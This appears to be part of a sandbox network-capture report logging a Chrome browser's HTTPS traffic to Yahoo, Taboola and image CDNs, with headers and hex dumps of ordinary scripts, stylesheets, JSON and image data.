2024-04-27 22:41:55 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 2f 2a 20 76 65 72 73 69 6f 6e 3a 20 31 2e 31 2e 35 32 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 72 3d 72 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 74 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 Data Ascii: /* version: 1.1.52 */!function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 29 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6e 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 6e 2c 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 6e 2c 72 2c 69 3d 7b 7d 2c 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 66 6f 72 28 72 3d 30 3b 72 3c 61 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 3d 61 5b 72 5d 2c 74 2e 69 6e 64 65 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 69 5b 6e Data Ascii: )in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){if(null==e)return{};var n,r,i=function(e,t){if(null==e)return{};var n,r,i={},a=Object.keys(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)>=0\|\|(i[n
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 2c 61 62 73 6f 72 62 56 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 73 28 6e 2c 74 5b 6e 5d 29 2c 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 63 6c 6f 6e 65 56 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 Data Ascii: (var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},absorbValid:function(e,t){for(var n in t)t.hasOwnProperty(n)&&(s(n,t[n]),e[n]=t[n])},clone:function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t},cloneValid:function(e){var t={};for(var
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 53 43 52 4f 4c 4c 3a 7b 65 74 72 67 3a 22 73 63 72 6f 6c 6c 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 48 4f 56 45 52 3a 7b 65 74 72 67 3a 22 68 6f 76 65 72 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 44 52 4f 50 3a 7b 65 74 72 67 3a 22 64 72 6f 70 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 44 52 41 47 3a 7b 65 74 72 67 3a 22 64 72 61 67 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 50 49 4e 43 48 3a 7b 65 74 72 67 3a 22 70 69 6e 63 68 22 2c 75 73 65 72 67 65 6e 66 3a 31 7d 2c 45 56 45 4e 54 5f 54 52 49 47 47 45 52 5f 4f 52 Data Ascii: sergenf:1},EVENT_TRIGGER_SCROLL:{etrg:"scroll",usergenf:1},EVENT_TRIGGER_HOVER:{etrg:"hover",usergenf:1},EVENT_TRIGGER_DROP:{etrg:"drop",usergenf:1},EVENT_TRIGGER_DRAG:{etrg:"drag",usergenf:1},EVENT_TRIGGER_PINCH:{etrg:"pinch",usergenf:1},EVENT_TRIGGER_OR
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 45 72 72 6f 72 28 22 69 6e 74 65 72 61 63 74 69 6f 6e 50 61 72 61 6d 73 20 61 72 65 20 49 4e 56 41 4c 49 44 22 29 7d 7d 72 65 74 75 72 6e 20 64 28 65 2c 22 63 6c 69 63 6b 22 2c 61 2c 69 29 7d 2c 75 6e 72 65 67 69 73 74 65 72 65 64 55 52 4c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 70 61 63 65 69 64 20 69 73 20 52 45 51 55 49 52 45 44 22 29 3b 69 66 28 70 61 72 73 65 49 6e 74 28 65 29 21 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 70 61 63 65 69 64 20 69 73 20 49 4e 56 41 4c 49 44 22 29 3b 69 66 28 21 74 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 Data Ascii: Error("interactionParams are INVALID")}}return d(e,"click",a,i)},unregisteredURL:function(e,t,n){if("string"!=typeof e&&"number"!=typeof e)throw new Error("Spaceid is REQUIRED");if(parseInt(e)!=e)throw new Error("Spaceid is INVALID");if(!t\|\|"string"!=type
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 69 6d 65 3a 44 61 74 65 2e 6e 6f 77 28 29 2d 65 7d 29 7d 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 28 29 2c 7b 75 6e 72 65 67 69 73 74 65 72 65 64 55 52 4c 3a 45 7d 3d 76 2c 53 3d 22 2f 5f 74 64 5f 61 70 69 2f 62 65 61 63 6f 6e 2f 22 2c 50 3d 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 77 22 2c 49 3d 65 3d 3e 72 28 28 66 75 6e 63 74 69 6f 6e 2a 28 2e 2e 2e 74 29 7b 6c 65 74 20 6e 3b 74 72 79 7b 72 65 74 75 72 6e 20 6e 3d 79 69 65 6c 64 20 65 28 2e 2e 2e 74 29 2c 79 69 65 6c 64 20 66 65 74 63 68 28 6e 2c 7b 6d 6f 64 65 3a 22 6e 6f 2d 63 6f 72 73 22 2c 63 72 65 64 65 6e 74 69 61 6c 73 3a 22 69 6e 63 6c 75 64 65 22 7d 29 2c 21 30 7d 63 61 74 Data Ascii: ime:Date.now()-e})}));return function(){return e.apply(this,arguments)}}(),{unregisteredURL:E}=v,S="/_td_api/beacon/",P="notification-sw",I=e=>r((function*(...t){let n;try{return n=yield e(...t),yield fetch(n,{mode:"no-cors",credentials:"include"}),!0}cat
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 72 65 63 65 69 76 65 64 22 2c 74 29 29 29 2c 6b 3d 52 28 28 28 7b 73 70 61 63 65 49 64 3a 65 2c 70 61 72 61 6d 73 3a 74 7d 29 3d 3e 28 74 2e 6d 73 67 5f 61 63 74 69 6f 6e 3d 22 6f 70 65 6e 22 2c 45 28 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 65 6e 67 61 67 65 64 22 2c 74 29 29 29 29 2c 78 3d 52 28 28 28 7b 73 70 61 63 65 49 64 3a 65 2c 70 61 72 61 6d 73 3a 74 7d 29 3d 3e 28 74 2e 6d 73 67 5f 61 63 74 69 6f 6e 3d 22 64 69 73 6d 69 73 73 65 64 22 2c 45 28 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 65 6e 67 61 67 65 64 22 2c 74 29 29 29 29 2c 55 3d 65 3d 3e 74 3d 3e 74 2e 77 61 69 74 55 6e 74 69 6c 28 72 28 28 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 74 72 79 7b 79 69 65 6c 64 20 65 28 74 29 7d 63 61 74 Data Ascii: e,"notification_received",t))),k=R((({spaceId:e,params:t})=>(t.msg_action="open",E(e,"notification_engaged",t)))),x=R((({spaceId:e,params:t})=>(t.msg_action="dismissed",E(e,"notification_engaged",t)))),U=e=>t=>t.waitUntil(r((function*(){try{yield e(t)}cat
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 87 ce b5 cf 84 ce b5 20 ce bd ce ad ce b5 cf 82 20 ce b5 ce b9 ce b4 ce bf cf 80 ce bf ce b9 ce ae cf 83 ce b5 ce b9 cf 82 22 7d 2c 22 65 73 2d 45 53 22 3a 7b 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3a 22 53 65 72 76 69 63 69 6f 20 6e 6f 20 64 69 73 70 6f 6e 69 62 6c 65 22 2c 22 59 6f 75 20 68 61 76 65 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 54 69 65 6e 65 73 20 6e 6f 74 69 66 69 63 61 63 69 6f 6e 65 73 20 6e 75 65 76 61 73 22 7d 2c 22 65 73 2d 55 53 22 3a 7b 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3a 22 53 65 72 76 69 63 69 6f 20 6e 6f 20 64 69 73 70 6f 6e 69 62 6c 65 22 2c 22 59 6f 75 20 68 61 76 65 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 54 69 65 6e 65 73 20 6e Data Ascii: "},"es-ES":{"Service Unavailable":"Servicio no disponible","You have new notifications":"Tienes notificaciones nuevas"},"es-US":{"Service Unavailable":"Servicio no disponible","You have new notifications":"Tienes n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49906	151.101.193.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	507	OUT	GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1 Host: api.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	953	IN	HTTP/1.1 200 OK Connection: close Server: nginx Content-Type: application/json;charset=utf-8 P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Set-Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:55 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:41:55 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:55 GMT Via: 1.1 varnish X-SERVICE-VERSION: v2 X-Served-By: cache-ewr18129-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257715.451296,VS0,VE59 Vary: Accept-Encoding X-vcl-time-ms: 59 transfer-encoding: chunked
2024-04-27 22:41:55 UTC	4	IN	Data Raw: 35 34 0d 0a Data Ascii: 54
2024-04-27 22:41:55 UTC	84	IN	Data Raw: 7b 22 75 73 65 72 22 3a 7b 22 69 64 22 3a 22 35 61 37 30 64 33 64 32 2d 62 31 39 32 2d 34 31 30 33 2d 62 65 36 66 2d 62 38 36 66 65 63 34 38 33 66 62 63 2d 74 75 63 74 64 32 37 30 34 62 32 22 2c 22 69 73 4e 65 77 55 73 65 72 22 3a 66 61 6c 73 65 7d 7d Data Ascii: {"user":{"id":"5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2","isNewUser":false}}
2024-04-27 22:41:55 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49909	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	620	OUT	GET /aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	826	IN	HTTP/1.1 200 OK x-amz-id-2: vzTOq+oBqkv9XzSwOjjZLCscF6eMDjC+lJnk+Bg9cUT12NcO6x1Ys+FzkToSH+ix4MqKNlLsYDZAmUQ7ndo6VA== x-amz-request-id: EN74KVMV8YZPH4DB Date: Sat, 27 Apr 2024 21:24:54 GMT Last-Modified: Fri, 15 Dec 2023 15:27:16 GMT ETag: "451c40b3a0322b48dbc58fbf0d98ee96" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: XnoV5FRUwz9CllXyV4.sCluubIGAJfpi Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 4772 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 4624 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:57 UTC	1261	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 42 64 5c 28 6e 5c 29 2c 2e 42 64 5c 28 6e 5c 29 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 73 5c 28 73 5c 29 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 77 5c 28 31 70 78 5c 29 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 31 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 35 30 5c 25 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 38 Data Ascii: #atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bds$s${border-style:solid}#atomic .Bdw$1px${border-width:1px}#atomic .Bdrs$50\%${border-radius:50%}#atomic .Bdrs\(8
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 62 5c 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 66 5c 29 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 69 5c 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 69 62 5c 29 2c 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 2c 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 6e 5c 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 46 78 66 5c 28 77 5c 29 7b 66 6c 65 78 2d 66 6c 6f 77 3a 77 72 61 70 7d 23 61 74 6f 6d 69 Data Ascii: ck!important}#atomic .D$b${display:block}#atomic .D$f${display:flex}#atomic .D$i${display:inline}#atomic .D$ib$,a[class=LineClamp],a[class=LineClamp]:after{display:inline-block}#atomic .D$n${display:none}#atomic .Fxf$w${flex-flow:wrap}#atomi
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 32 35 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 61 68 5c 28 39 33 70 78 5c 29 7b 6d 61 78 2d 68 65 69 67 68 74 3a 39 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 61 77 5c 28 39 34 30 70 78 5c 29 7b 6d 61 78 2d 77 69 64 74 68 3a 39 34 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 69 77 5c 28 31 30 36 70 78 5c 29 7b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 69 77 5c 28 37 30 70 78 5c 29 7b 6d 69 6e 2d 77 69 64 74 68 3a 37 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4f 5c 28 6e 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4f 5c 28 6e 5c 29 5c 3a 66 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a Data Ascii: argin-left:20px}#atomic .Mstart$25px${margin-left:25px}#atomic .Mah$93px${max-height:93px}#atomic .Maw$940px${max-width:940px}#atomic .Miw$106px${min-width:106px}#atomic .Miw$70px${min-width:70px}#atomic .O$n$,#atomic .O$n$\:f:focus{outline:
2024-04-27 22:41:57 UTC	911	IN	Data Raw: 57 5c 28 33 39 39 70 78 5c 29 7b 77 69 64 74 68 3a 33 39 39 70 78 7d 23 61 74 6f 6d 69 63 20 2e 5a 5c 28 32 5c 29 7b 7a 2d 69 6e 64 65 78 3a 32 7d 23 61 74 6f 6d 69 63 20 2e 46 69 6c 6c 5c 28 2d 2d 73 68 61 72 6b 5c 29 7b 66 69 6c 6c 3a 23 38 32 38 61 39 33 3b 66 69 6c 6c 3a 76 61 72 28 2d 2d 73 68 61 72 6b 29 7d 23 61 74 6f 6d 69 63 20 2e 46 69 6c 6c 5c 28 5c 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 5c 29 5c 3a 66 3a 66 6f 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 46 69 6c 6c 5c 28 5c 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 66 69 6c 6c 3a 23 37 65 31 66 66 66 3b 66 69 6c 6c 3a 76 61 72 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 7d 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c Data Ascii: W$399px${width:399px}#atomic .Z$2${z-index:2}#atomic .Fill$--shark${fill:#828a93;fill:var(--shark)}#atomic .Fill$\$streamBrandHoverClass$\:f:focus,#atomic .Fill$\$streamBrandHoverClass$\:h:hover{fill:#7e1fff;fill:var(--hulk-pants)}[class*=LineCl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49910	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	507	OUT	GET /uu/api/res/1.2/QE4kbKFBO8gdTgYpRmjkEg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/a4b292845afa16f99e2a1a08e343ce42.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	1297	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 479076700702748454677469566840767933710,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a4b292845afa16f99e2a1a08e343ce42.webp" Edge-Cache-Tag: 479076700702748454677469566840767933710,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb40570ec13b9639304569a24223503b" Expiration: expiry-date="Thu, 24 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 26 Apr 2024 21:32:27 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=8404,owidth=4223,oheight=2816,obytes=3044038,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 26 Apr 2024 23:19:51 GMT X-Served-By: cache-iad-kiad7000031-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714173591.028499,VS0,VE1 Age: 84126 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-iad-kiad7000031-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 29574 ATS-Carp-Promotion: 1
2024-04-27 22:41:57 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
